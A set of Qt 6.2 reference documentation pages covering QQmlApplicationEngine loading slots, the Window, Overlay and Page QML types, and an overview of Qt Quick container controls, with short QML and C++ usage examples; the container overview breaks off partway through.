`[slot]` void QQmlApplicationEngine::load(const [QUrl](qurl) &*url*)

 Loads the root QML file located at *url*. The object tree defined by the file is created immediately for local file urls. Remote urls are loaded asynchronously, listen to the [objectCreated](qqmlapplicationengine#objectCreated) signal to determine when the object tree is ready.

 If an error occurs, the [objectCreated](qqmlapplicationengine#objectCreated) signal is emitted with a null pointer as parameter and error messages are printed with [qWarning](qtglobal#qWarning).

 ### 
`[slot]` void QQmlApplicationEngine::loadData(const [QByteArray](qbytearray) &*data*, const [QUrl](qurl) &*url* = QUrl())

 Loads the QML given in *data*. The object tree defined by *data* is instantiated immediately.

 If a *url* is specified it is used as the base url of the component. This affects relative paths within the data and error messages.

 If an error occurs, error messages are printed with [qWarning](qtglobal#qWarning).

 ### 
`[signal]` void QQmlApplicationEngine::objectCreated([QObject](qobject#QObject) \**object*, const [QUrl](qurl) &*url*)

 This signal is emitted when an object finishes loading. If loading was successful, *object* contains a pointer to the loaded object, otherwise the pointer is NULL.

 The *url* to the component the *object* came from is also provided.

  **Note:** If the path to the component was provided as a [QString](qstring) containing a relative path, the *url* will contain a fully resolved path to the file.

  ### 
`[slot, since 6.0]` void QQmlApplicationEngine::setExtraFileSelectors(const [QStringList](qstringlist) &*extraFileSelectors*)

 Sets the *extraFileSelectors* to be passed to the internal [QQmlFileSelector](qqmlfileselector) used for resolving URLs to local files. The *extraFileSelectors* are applied when the first QML file is loaded. Setting them afterwards has no effect.

 This function was introduced in Qt 6.0.

 **See also** [QQmlFileSelector](qqmlfileselector) and [QFileSelector::setExtraSelectors](qfileselector#setExtraSelectors).

 ### 
`[slot, since 5.14]` void QQmlApplicationEngine::setInitialProperties(const QVariantMap &*initialProperties*)

 Sets the *initialProperties* with which the QML component gets initialized after it gets loaded.

 
```
QQmlApplicationEngine engine;

EventDatabase eventDatabase;
EventMonitor eventMonitor;

engine.setInitialProperties({
    { "eventDatabase", QVariant::fromValue(&eventDatabase) },
    { "eventMonitor", QVariant::fromValue(&eventMonitor) }
});
```
 This function was introduced in Qt 5.14.

 **See also** [QQmlComponent::setInitialProperties](qqmlcomponent#setInitialProperties), [QQmlApplicationEngine::load](qqmlapplicationengine#load), and [QQmlApplicationEngine::loadData](qqmlapplicationengine#loadData).

 ### 
`[override virtual]` QQmlApplicationEngine::~QQmlApplicationEngine()

 Destroys the [QQmlApplicationEngine](qqmlapplicationengine) and all QML objects it loaded.

 ### 
[QList](qlist)<[QObject](qobject#QObject) \*> QQmlApplicationEngine::rootObjects() const

 Returns a list of all the root objects instantiated by the [QQmlApplicationEngine](qqmlapplicationengine). This will only contain objects loaded via [load](qqmlapplicationengine#load)() or a convenience constructor.

  **Note:** In Qt versions prior to 5.9, this function is marked as non-`const`.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qqmlapplicationengine.html>

Window QML Type
===============

 Creates a new top-level window. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Instantiates: | [QQuickWindow](qquickwindow) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-window-members.html)

 Properties
----------

 * **[active](qml-qtquick-window#active-prop)** : bool
* **[activeFocusItem](qml-qtquick-window#activeFocusItem-prop)** : Item
* **[color](qml-qtquick-window#color-prop)** : color
* **[contentItem](qml-qtquick-window#contentItem-prop)** : Item
* **[contentOrientation](qml-qtquick-window#contentOrientation-prop)** : Qt::ScreenOrientation
* **[data](qml-qtquick-window#data-prop)** : list<Object>
* **[flags](qml-qtquick-window#flags-prop)** : Qt::WindowFlags
* **[height](qml-qtquick-window#height-prop)** : int
* **[maximumHeight](qml-qtquick-window#maximumHeight-prop)** : int
* **[maximumWidth](qml-qtquick-window#maximumWidth-prop)** : int
* **[minimumHeight](qml-qtquick-window#minimumHeight-prop)** : int
* **[minimumWidth](qml-qtquick-window#minimumWidth-prop)** : int
* **[modality](qml-qtquick-window#modality-prop)** : Qt::WindowModality
* **[opacity](qml-qtquick-window#opacity-prop)** : real
* **[palette](qml-qtquick-window#palette-prop)** : Palette
* **[screen](qml-qtquick-window#screen-prop)** : variant
* **[title](qml-qtquick-window#title-prop)** : string
* **[transientParent](qml-qtquick-window#transientParent-prop)** : QWindow
* **[visibility](qml-qtquick-window#visibility-prop)** : QWindow::Visibility
* **[visible](qml-qtquick-window#visible-prop)** : bool
* **[width](qml-qtquick-window#width-prop)** : int
* **[x](qml-qtquick-window#x-prop)** : int
* **[y](qml-qtquick-window#y-prop)** : int

 Attached Properties
-------------------

 * **[active](qml-qtquick-window#active-attached-prop)** : bool
* **[activeFocusItem](qml-qtquick-window#activeFocusItem-attached-prop)** : Item
* **[contentItem](qml-qtquick-window#contentItem-attached-prop)** : Item
* **[height](qml-qtquick-window#height-attached-prop)** : int
* **[visibility](qml-qtquick-window#visibility-attached-prop)** : QWindow::Visibility
* **[width](qml-qtquick-window#width-attached-prop)** : int
* **[window](qml-qtquick-window#window-attached-prop)** : Window

 Signals
-------

 * **[afterAnimating](qml-qtquick-window#afterAnimating-signal)**()
* **[closing](qml-qtquick-window#closing-signal)**(CloseEvent *close*)
* **[frameSwapped](qml-qtquick-window#frameSwapped-signal)**()
* **[sceneGraphError](qml-qtquick-window#sceneGraphError-signal)**(SceneGraphError *error*, QString *message*)

 Methods
-------

 * **[alert](qml-qtquick-window#alert-method)**(int *msec*)
* **[close](qml-qtquick-window#close-method)**()
* **[hide](qml-qtquick-window#hide-method)**()
* **[lower](qml-qtquick-window#lower-method)**()
* **[raise](qml-qtquick-window#raise-method)**()
* **[requestActivate](qml-qtquick-window#requestActivate-method)**()
* **[show](qml-qtquick-window#show-method)**()
* **[showFullScreen](qml-qtquick-window#showFullScreen-method)**()
* **[showMaximized](qml-qtquick-window#showMaximized-method)**()
* **[showMinimized](qml-qtquick-window#showMinimized-method)**()
* **[showNormal](qml-qtquick-window#showNormal-method)**()

 Detailed Description
--------------------

 The Window object creates a new top-level window for a Qt Quick scene. It automatically sets up the window for use with `QtQuick` graphical types.

 A Window can be declared inside an Item or inside another Window; in that case the inner Window will automatically become "transient for" the outer Window: that is, most platforms will show it centered upon the outer window by default, and there may be other platform-dependent behaviors, depending also on the [flags](qml-qtquick-window#flags-prop). If the nested window is intended to be a dialog in your application, you should also set [flags](qml-qtquick-window#flags-prop) to Qt.Dialog, because some window managers will not provide the centering behavior without that flag. You can also declare multiple windows inside a top-level [QtObject](qml-qtqml-qtobject), in which case the windows will have no transient relationship.

 Alternatively you can set or bind [x](qml-qtquick-window#x-prop) and [y](qml-qtquick-window#y-prop) to position the Window explicitly on the screen.

 When the user attempts to close a window, the [closing](qml-qtquick-window#closing-signal) signal will be emitted. You can force the window to stay open (for example to prompt the user to save changes) by writing an `onClosing` handler and setting `close.accepted = false`.

 Property Documentation
----------------------

  ###  [since 5.1] maximumHeight : [int](qml-int)

 
Defines the window's maximum size.

 This is a hint to the window manager to prevent resizing above the specified width and height.

 This QML property was introduced in Qt 5.1.

  ###  [since 5.1] minimumHeight : [int](qml-int)

 
Defines the window's minimum size.

 This is a hint to the window manager to prevent resizing below the specified width and height.

 This QML property was introduced in Qt 5.1.

  ###  height : [int](qml-int)

 
Defines the window's position and size.

 The (x,y) position is relative to the [Screen](qml-qtquick-screen) if there is only one, or to the virtual desktop (arrangement of multiple screens).

 
```
Window { x: 100; y: 100; width: 100; height: 100 }
```
 ![]

 ###  [since 5.1] active : [bool](qml-bool)

 The active status of the window.

 This property was introduced in Qt 5.1.

 **See also** [requestActivate](qml-qtquick-window#requestActivate-method)().

 ###  [since 5.1] activeFocusItem : [Item](qml-qtquick-item)

 The item which currently has active focus or `null` if there is no item with active focus.

 This property was introduced in Qt 5.1.

 ###  color : [color](qml-color)

 The background color for the window.

 Setting this property is more efficient than using a separate Rectangle.

 ###  [read-only] contentItem : [Item](qml-qtquick-item)

 The invisible root item of the scene.

 ###  [since 5.1] contentOrientation : Qt::ScreenOrientation

 This is a hint to the window manager in case it needs to display additional content like popups, dialogs, status bars, or similar in relation to the window.

 The recommended orientation is [Screen.orientation](qml-qtquick-screen#orientation-attached-prop), but an application doesn't have to support all possible orientations, and thus can opt to ignore the current screen orientation.

 The difference between the window and the content orientation determines how much to rotate the content by.

 The default value is [Qt::PrimaryOrientation](qt#ScreenOrientation-enum).

 This property was introduced in Qt 5.1.

 **See also** [Screen](qml-qtquick-screen).

 ###  [default] data : [list](qml-list)<Object>

 The data property allows you to freely mix visual children, resources and other Windows in a Window.

 If you assign another Window to the data list, the nested window will become "transient for" the outer Window.

 If you assign an [Item](qml-qtquick-item) to the data list, it becomes a child of the Window's [contentItem](qml-qtquick-window#contentItem-prop), so that it appears inside the window. The item's parent will be the window's [contentItem](qml-qtquick-window#contentItem-prop), which is the root of the Item ownership tree within that Window.

 If you assign any other object type, it is added as a resource.

 It should not generally be necessary to refer to the `data` property, as it is the default property for Window and thus all child items are automatically assigned to this property.

 **See also** [QWindow::transientParent](qwindow#transientParent-prop)().

 ###  flags : Qt::WindowFlags

 The window flags of the window.

 The window flags control the window's appearance in the windowing system, whether it's a dialog, popup, or a regular window, and whether it should have a title bar, etc.

 The flags which you read from this property might differ from the ones that you set if the requested flags could not be fulfilled.

 **See also** [Qt::WindowFlags](qt#WindowType-enum).

 ###  modality : Qt::WindowModality

 The modality of the window.

 A modal window prevents other windows from receiving input events. Possible values are Qt.NonModal (the default), Qt.WindowModal, and Qt.ApplicationModal.

 ###  [since 5.1] opacity : [real](qml-real)

 The opacity of the window.

 If the windowing system supports window opacity, this can be used to fade the window in and out, or to make it semitransparent.

 A value of 1.0 or above is treated as fully opaque, whereas a value of 0.0 or below is treated as fully transparent. Values inbetween represent varying levels of translucency between the two extremes.

 The default value is 1.0.

 This property was introduced in Qt 5.1.

 ###  [since 6.0] palette : [Palette](qml-qtquick-palette)

 This property holds the palette currently set for the window.

 The default palette depends on the system environment. [QGuiApplication](qguiapplication) maintains a system/theme palette which serves as a default for all application windows. You can also set the default palette for windows by passing a custom palette to [QGuiApplication::setPalette](qguiapplication#setPalette)(), before loading any QML.

 [ApplicationWindow](qml-qtquick-controls2-applicationwindow) propagates explicit palette properties to child controls. If you change a specific property on the window's palette, that property propagates to all child controls in the window, overriding any system defaults for that property.

 This property was introduced in Qt 6.0.

 **See also** [Item::palette](qml-qtquick-item#palette-prop), [Popup::palette](qml-qtquick-controls2-popup#palette-prop), and [ColorGroup](qml-qtquick-colorgroup).

 ###  [since 5.9] screen : variant

 The screen with which the window is associated.

 If specified before showing a window, will result in the window being shown on that screen, unless an explicit window position has been set. The value must be an element from the Qt.application.screens array.

  **Note:** To ensure that the window is associated with the desired screen when the underlying native window is created, make sure this property is set as early as possible and that the setting of its value is not deferred. This can be particularly important on embedded platforms without a windowing system, where only one window per screen is allowed at a time. Setting the screen after a window has been created does not move the window if the new screen is part of the same virtual desktop as the old screen.

  This property was introduced in Qt 5.9.

 **See also** [QWindow::setScreen](qwindow#setScreen)(), [QWindow::screen](qwindow#screen)(), [QScreen](qscreen), and [Qt.application](qml-qtqml-qt#application-prop).

 ###  title : [string](qml-string)

 The window's title in the windowing system.

 The window title might appear in the title area of the window decorations, depending on the windowing system and the window flags. It might also be used by the windowing system to identify the window in other contexts, such as in the task switcher.

 ###  [since 5.13] transientParent : QWindow

 The window for which this window is a transient pop-up.

 This is a hint to the window manager that this window is a dialog or pop-up on behalf of the transient parent. It usually means that the transient window will be centered over its transient parent when it is initially shown, that minimizing the parent window will also minimize the transient window, and so on; however results vary somewhat from platform to platform.

 Normally if you declare a Window inside an Item or inside another Window, this relationship is deduced automatically. In that case, if you declare this window's [visible](qml-qtquick-window#visible-prop) property `true`, it will not actually be shown until the `transientParent` window is shown.

 However if you set this property, then Qt Quick will no longer wait until the `transientParent` window is shown before showing this window. If you want to to be able to show a transient window independently of the "parent" Item or Window within which it was declared, you can remove that relationship by setting `transientParent` to `null`:

 
```
import QtQuick.Window 2.13

Window {
    // visible is false by default
    Window {
        transientParent: null
        visible: true
    }
}
```
 In order to cause the window to be centered above its transient parent by default, depending on the window manager, it may also be necessary to set the [Window::flags](qml-qtquick-window#flags-prop) property with a suitable [Qt::WindowType](qt#WindowType-enum) (such as `Qt::Dialog`).

 This property was introduced in Qt 5.13.

 ###  [since 5.1] visibility : QWindow::Visibility

 The screen-occupation state of the window.

 Visibility is whether the window should appear in the windowing system as normal, minimized, maximized, fullscreen or hidden.

 To set the visibility to [AutomaticVisibility](qwindow#Visibility-enum) means to give the window a default visible state, which might be [FullScreen](qwindow#Visibility-enum) or [Windowed](qwindow#Visibility-enum) depending on the platform. However when reading the visibility property you will always get the actual state, never `AutomaticVisibility`.

 When a window is not visible its visibility is Hidden, and setting visibility to [Hidden](qwindow#Visibility-enum) is the same as setting [visible](qml-qtquick-window#visible-prop) to `false`.

 This property was introduced in Qt 5.1.

 **See also** [visible](qml-qtquick-window#visible-prop).

 ###  visible : [bool](qml-bool)

 Whether the window is visible on the screen.

 Setting visible to false is the same as setting [visibility](qml-qtquick-window#visibility-attached-prop) to [Hidden](qwindow#Visibility-enum).

 **See also** [visibility](qml-qtquick-window#visibility-attached-prop).

 Attached Property Documentation
-------------------------------

  ###  [since 5.5] Window.height : [int](qml-int)

 
These attached properties hold the size of the item's window. The Window attached property can be attached to any Item.

 This QML property was introduced in Qt 5.5.

 ###  [since 5.4] Window.active : [bool](qml-bool)

 This attached property tells whether the window is active. The Window attached property can be attached to any Item.

 Here is an example which changes a label to show the active state of the window in which it is shown:

 
```
import QtQuick 2.4
import QtQuick.Window 2.2

Text {
    text: Window.active ? "active" : "inactive"
}
```
 This property was introduced in Qt 5.4.

 ###  [since 5.4] Window.activeFocusItem : [Item](qml-qtquick-item)

 This attached property holds the item which currently has active focus or `null` if there is no item with active focus. The Window attached property can be attached to any Item.

 This property was introduced in Qt 5.4.

 ###  [since 5.4] Window.contentItem : [Item](qml-qtquick-item)

 This attached property holds the invisible root item of the scene or `null` if the item is not in a window. The Window attached property can be attached to any Item.

 This property was introduced in Qt 5.4.

 ###  [since 5.4] Window.visibility : QWindow::Visibility

 This attached property holds whether the window is currently shown in the windowing system as normal, minimized, maximized, fullscreen or hidden. The `Window` attached property can be attached to any Item. If the item is not shown in any window, the value will be [Hidden](qwindow#Visibility-enum).

 This property was introduced in Qt 5.4.

 **See also** [visible](qml-qtquick-window#visible-prop) and visibility.

 ###  [since 5.7] Window.window : [Window](qml-qtquick-window)

 This attached property holds the item's window. The Window attached property can be attached to any Item.

 This property was introduced in Qt 5.7.

 Signal Documentation
--------------------

 ###  `[since 5.3]` afterAnimating()

 This signal is emitted on the GUI thread before requesting the render thread to perform the synchronization of the scene graph.

 You can implement onAfterAnimating to do additional processing after each animation step.

 **Note:** The corresponding handler is `onAfterAnimating`.

 This signal was introduced in Qt 5.3.

 ###  `[since 5.1]` closing([CloseEvent](qml-closeevent) *close*)

 This signal is emitted when the user tries to close the window.

 This signal includes a *close* parameter. The `close.accepted` property is true by default so that the window is allowed to close; but you can implement an `onClosing` handler and set `close.accepted = false` if you need to do something else before the window can be closed.

 **Note:** The corresponding handler is `onClosing`.

 This signal was introduced in Qt 5.1.

 ###  frameSwapped()

 This signal is emitted when a frame has been queued for presenting. With vertical synchronization enabled the signal is emitted at most once per vsync interval in a continuously animating scene.

 **Note:** The corresponding handler is `onFrameSwapped`.

 ###  `[since 5.3]` sceneGraphError(SceneGraphError *error*, QString *message*)

 This signal is emitted when an *error* occurred during scene graph initialization.

 You can implement onSceneGraphError(error, message) to handle errors, such as graphics context creation failures, in a custom way. If no handler is connected to this signal, Quick will print the *message*, or show a message box, and terminate the application.

 **Note:** The corresponding handler is `onSceneGraphError`.

 This signal was introduced in Qt 5.3.

 Method Documentation
--------------------

 ###  `[since 5.1]` alert([int](qml-int) *msec*)

 Causes an alert to be shown for *msec* milliseconds. If *msec* is `0` (the default), then the alert is shown indefinitely until the window becomes active again.

 In alert state, the window indicates that it demands attention, for example by flashing or bouncing the taskbar entry.

 This method was introduced in Qt 5.1.

 ###  close()

 Closes the window.

 When this method is called, or when the user tries to close the window by its title bar button, the [closing](qml-qtquick-window#closing-signal) signal will be emitted. If there is no handler, or the handler does not revoke permission to close, the window will subsequently close. If the [QGuiApplication::quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop) property is `true`, and there are no other windows open, the application will quit.

 ###  hide()

 Hides the window.

 Equivalent to setting [visible](qml-qtquick-window#visible-prop) to `false` or [visibility](qml-qtquick-window#visibility-attached-prop) to [Hidden](qwindow#Visibility-enum).

 **See also** [show](qml-qtquick-window#show-method)().

 ###  lower()

 Lowers the window in the windowing system.

 Requests that the window be lowered to appear below other windows.

 ###  raise()

 Raises the window in the windowing system.

 Requests that the window be raised to appear above other windows.

 ###  `[since 5.1]` requestActivate()

 Requests the window to be activated, i.e. receive keyboard focus.

 This method was introduced in Qt 5.1.

 ###  show()

 Shows the window.

 This is equivalent to calling [showFullScreen](qml-qtquick-window#showFullScreen-method)(), [showMaximized](qml-qtquick-window#showMaximized-method)(), or [showNormal](qml-qtquick-window#showNormal-method)(), depending on the platform's default behavior for the window type and flags.

 **See also** [showFullScreen](qml-qtquick-window#showFullScreen-method)(), [showMaximized](qml-qtquick-window#showMaximized-method)(), [showNormal](qml-qtquick-window#showNormal-method)(), [hide](qml-qtquick-window#hide-method)(), and [QQuickItem::flags](qquickitem#flags)().

 ###  showFullScreen()

 Shows the window as fullscreen.

 Equivalent to setting [visibility](qml-qtquick-window#visibility-attached-prop) to [FullScreen](qwindow#Visibility-enum).

 ###  showMaximized()

 Shows the window as maximized.

 Equivalent to setting [visibility](qml-qtquick-window#visibility-attached-prop) to [Maximized](qwindow#Visibility-enum).

 ###  showMinimized()

 Shows the window as minimized.

 Equivalent to setting [visibility](qml-qtquick-window#visibility-attached-prop) to [Minimized](qwindow#Visibility-enum).

 ###  showNormal()

 Shows the window as normal, i.e. neither maximized, minimized, nor fullscreen.

 Equivalent to setting [visibility](qml-qtquick-window#visibility-attached-prop) to [Windowed](qwindow#Visibility-enum).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-window.html>

Overlay QML Type
================

 A window overlay for popups. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.10 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-overlay-members.html)

 Attached Properties
-------------------

 * **[modal](qml-qtquick-controls2-overlay#modal-attached-prop)** : Component
* **[modeless](qml-qtquick-controls2-overlay#modeless-attached-prop)** : Component
* **[overlay](qml-qtquick-controls2-overlay#overlay-attached-prop)** : Overlay

 Attached Signals
----------------

 * **[pressed](qml-qtquick-controls2-overlay#pressed-signal)**()
* **[released](qml-qtquick-controls2-overlay#released-signal)**()

 Detailed Description
--------------------

 Overlay provides a layer for popups, ensuring that popups are displayed above other content and that the background is dimmed when a [modal](qml-qtquick-controls2-popup#modal-prop) or [dimmed](qml-qtquick-controls2-popup#dim-prop) popup is visible.

 The overlay is an ordinary Item that covers the entire window. It can be used as a visual parent to position a popup in scene coordinates.

 The following example uses the attached [Overlay.overlay](qml-qtquick-controls2-overlay#overlay-attached-prop) property to position a popup in the center of the window, despite the position of the button that opens the popup:

 
```
Button {
    onClicked: popup.open()

    Popup {
        id: popup

        parent: Overlay.overlay

        x: Math.round((parent.width - width) / 2)
        y: Math.round((parent.height - height) / 2)
        width: 100
        height: 100
    }
}
```
 **See also** [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow).

 Attached Property Documentation
-------------------------------

 ###  Overlay.modal : [Component](qml-qtqml-component)

 This attached property holds a component to use as a visual item that implements background dimming for modal popups. It is created for and stacked below visible modal popups.

 The property can be attached to any popup.

 For example, to change the color of the background dimming for a modal popup, the following code can be used:

 
```
Popup {
    id: popup
    width: 400
    height: 400
    modal: true
    visible: true

    Overlay.modal: Rectangle {
        color: "#aacfdbe7"
    }
}
```
 **See also** [Popup::modal](qml-qtquick-controls2-popup#modal-prop).

 ###  Overlay.modeless : [Component](qml-qtqml-component)

 This attached property holds a component to use as a visual item that implements background dimming for modeless popups. It is created for and stacked below visible dimming popups.

 The property can be attached to any popup.

 For example, to change the color of the background dimming for a modeless popup, the following code can be used:

 
```
Popup {
    id: popup
    width: 400
    height: 400
    dim: true
    visible: true

    Overlay.modeless: Rectangle {
        color: "#aacfdbe7"
    }
}
```
 **See also** [Popup::dim](qml-qtquick-controls2-popup#dim-prop).

 ###  [read-only] Overlay.overlay : [Overlay](qml-qtquick-controls2-overlay)

 This attached property holds the window overlay item.

 The property can be attached to any item, popup, or window. When attached to an item or a popup, the value is `null` if the item or popup is not in a window.

 Attached Signal Documentation
-----------------------------

 ###  pressed()

 This attached signal is emitted when the overlay is pressed by the user while a popup is visible.

 The signal can be attached to any item, popup, or window. When attached to an item or a popup, the signal is only emitted if the item or popup is in a window.

 **Note:** The corresponding handler is `onPressed`.

 ###  released()

 This attached signal is emitted when the overlay is released by the user while a popup is visible.

 The signal can be attached to any item, popup, or window. When attached to an item or a popup, the signal is only emitted if the item or popup is in a window.

 **Note:** The corresponding handler is `onReleased`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-overlay.html>

Page QML Type
=============

 Styled page control with support for a header and footer. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Pane](qml-qtquick-controls2-pane) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-page-members.html)

 Properties
----------

 * **[footer](qml-qtquick-controls2-page#footer-prop)** : Item
* **[header](qml-qtquick-controls2-page#header-prop)** : Item
* **[implicitFooterHeight](qml-qtquick-controls2-page#implicitFooterHeight-prop)** : real
* **[implicitFooterWidth](qml-qtquick-controls2-page#implicitFooterWidth-prop)** : real
* **[implicitHeaderHeight](qml-qtquick-controls2-page#implicitHeaderHeight-prop)** : real
* **[implicitHeaderWidth](qml-qtquick-controls2-page#implicitHeaderWidth-prop)** : real
* **[title](qml-qtquick-controls2-page#title-prop)** : string

 Detailed Description
--------------------

 Page is a container control which makes it convenient to add a [header](qml-qtquick-controls2-page#header-prop) and [footer](qml-qtquick-controls2-page#footer-prop) item to a page.

 ![]


Items declared as children of a Page are:

 * automatically parented to the Page's contentItem. Items created dynamically need to be explicitly parented to the contentItem.
* not automatically positioned or resized.

 The following example snippet illustrates how to use a page-specific toolbar header and an application-wide tabbar footer.

 
```
import QtQuick.Controls
import QtQuick.Layouts

ApplicationWindow {
    visible: true

    StackView {
        anchors.fill: parent

        initialItem: Page {
            header: ToolBar {
                // ...
            }

            ColumnLayout {
                anchors.fill: parent
                // ...
            }
        }
    }

    footer: TabBar {
        // ...
    }
}
```
 **See also** [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow), [Container Controls](qtquickcontrols2-containers), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  footer : [Item](qml-qtquick-item)

 This property holds the page footer item. The footer item is positioned to the bottom, and resized to the width of the page. The default value is `null`.

  **Note:** Assigning a [ToolBar](qml-qtquick-controls2-toolbar), [TabBar](qml-qtquick-controls2-tabbar), or [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a page footer automatically sets the respective [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop), or [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop) property to `Footer`.

  **See also** [header](qml-qtquick-controls2-page#header-prop) and [ApplicationWindow::footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop).

 ###  header : [Item](qml-qtquick-item)

 This property holds the page header item. The header item is positioned to the top, and resized to the width of the page. The default value is `null`.

  **Note:** Assigning a [ToolBar](qml-qtquick-controls2-toolbar), [TabBar](qml-qtquick-controls2-tabbar), or [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox) as a page header automatically sets the respective [ToolBar::position](qml-qtquick-controls2-toolbar#position-prop), [TabBar::position](qml-qtquick-controls2-tabbar#position-attached-prop), or [DialogButtonBox::position](qml-qtquick-controls2-dialogbuttonbox#position-prop) property to `Header`.

  **See also** [footer](qml-qtquick-controls2-page#footer-prop) and [ApplicationWindow::header](qml-qtquick-controls2-applicationwindow#header-attached-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitFooterHeight : [real](qml-real)

 This property holds the implicit footer height.

 The value is equal to `footer && footer.visible ? footer.implicitHeight : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitFooterWidth](qml-qtquick-controls2-page#implicitFooterWidth-prop) and [implicitHeaderHeight](qml-qtquick-controls2-page#implicitHeaderHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitFooterWidth : [real](qml-real)

 This property holds the implicit footer width.

 The value is equal to `footer && footer.visible ? footer.implicitWidth : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitFooterHeight](qml-qtquick-controls2-page#implicitFooterHeight-prop) and [implicitHeaderWidth](qml-qtquick-controls2-page#implicitHeaderWidth-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitHeaderHeight : [real](qml-real)

 This property holds the implicit header height.

 The value is equal to `header && header.visible ? header.implicitHeight : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitHeaderWidth](qml-qtquick-controls2-page#implicitHeaderWidth-prop) and [implicitFooterHeight](qml-qtquick-controls2-page#implicitFooterHeight-prop).

 ###  [read-only, since QtQuick.Controls 2.5 (Qt 5.12)] implicitHeaderWidth : [real](qml-real)

 This property holds the implicit header width.

 The value is equal to `header && header.visible ? header.implicitWidth : 0`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [implicitHeaderHeight](qml-qtquick-controls2-page#implicitHeaderHeight-prop) and [implicitFooterWidth](qml-qtquick-controls2-page#implicitFooterWidth-prop).

 ###  title : [string](qml-string)

 This property holds the page title.

 The title is often displayed at the top of a page to give the user context about the page they are viewing.

 Page does not render the title itself, but instead relies on the application to do so. For example:

 
```
ApplicationWindow {
    visible: true
    width: 400
    height: 400

    header: Label {
        text: view.currentItem.title
        horizontalAlignment: Text.AlignHCenter
    }

    SwipeView {
        id: view
        anchors.fill: parent

        Page {
            title: qsTr("Home")
        }
        Page {
            title: qsTr("Discover")
        }
        Page {
            title: qsTr("Activity")
        }
    }
}
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-page.html>

Container Controls
==================

 Qt Quick Controls offers a selection of container-like controls.

 

|  |  |
| --- | --- |
| [ApplicationWindow](qml-qtquick-controls2-applicationwindow) | Styled top-level window with support for a header and footer |
| [Container](qml-qtquick-controls2-container) | Abstract base type providing functionality common to containers |
| [Frame](qml-qtquick-controls2-frame) | Visual frame for a logical group of controls |
| [GroupBox](qml-qtquick-controls2-groupbox) | Visual frame and title for a logical group of controls |
| [HorizontalHeaderView](qml-qtquick-controls2-horizontalheaderview) | Provides a horizontal header view to accompany a TableView |
| [Page](qml-qtquick-controls2-page) | Styled page control with support for a header and footer |
| [Pane](qml-qtquick-controls2-pane) | Provides a background matching with the application style and theme |
| [ScrollView](qml-qtquick-controls2-scrollview) | Scrollable view |
| [SplitView](qml-qtquick-controls2-splitview) | Lays out items with a draggable splitter between each item |
| [StackView](qml-qtquick-controls2-stackview) | Provides a stack-based navigation model |
| [SwipeView](qml-qtquick-controls2-swipeview) | Enables the user to navigate pages by swiping sideways |
| [TabBar](qml-qtquick-controls2-tabbar) | Allows the user to switch between different views or subtasks |
| [ToolBar](qml-qtquick-controls2-toolbar) | Container for context-sensitive controls |
| [VerticalHeaderView](qml-qtquick-controls2-verticalheaderview) | Provides a vertical header view to accompany a TableView |

 Each type of container can be used to group a set of controls together. The following sections offer guidelines for choosing the appropriate type of container, depending on the use case.

 ApplicationWindow Control
-------------------------

 ![]


[ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) creates the root window of an application, and makes it easy to add an optional header and footer to that window.

 Frame Control
-------------

 ![]


[Frame](qml-qtquick-controls2-frame) is used to layout a logical group of controls together, within a visual frame.

 GroupBox Control
----------------

 ![]


[GroupBox](qml-qtquick-controls2-groupbox) is used to layout a logical group of controls together, within a titled visual frame.

 Page Control
------------

 ![]


[Page](qml-qtquick-controls2-page) provides page-specific header and footer items. It is perfectly possible to use [ApplicationWindow](qml-qtquick-controls2-applicationwindow) for setting the header and the footer, but if you have a header and footer which varies per screen, then it is better to use [Page](qml-qtquick-controls2-page).

 Pane Control
------------

 ![]


[Pane](qml-qtquick-controls2-pane) provides a background color that matches with the application style and theme. Pane does not provide a layout of its own, but requires you to position its contents, for instance by using a [RowLayout](qml-qtquick-layouts-rowlayout) or a [ColumnLayout](qml-qtquick-layouts-columnlayout).

 ScrollView Control
------------------

 ![]


[ScrollView](qml-qtquick-controls2-scrollview) provides scrolling for user-defined content.

 StackView Control
-----------------

 ![]


[StackView](qtquickcontrols-changes-qt6#stackview) organizes content pages into a stack using a last-in-first-out principle: the last item to be "pushed" onto the stack is the first one to be removed, and the top-most item is always the one that is visible.

 SwipeView Control
-----------------

 ![]


[SwipeView](qml-qtquick-controls2-swipeview) organizes content pages into a swipable strip.

 TabBar Control
--------------

 ![]


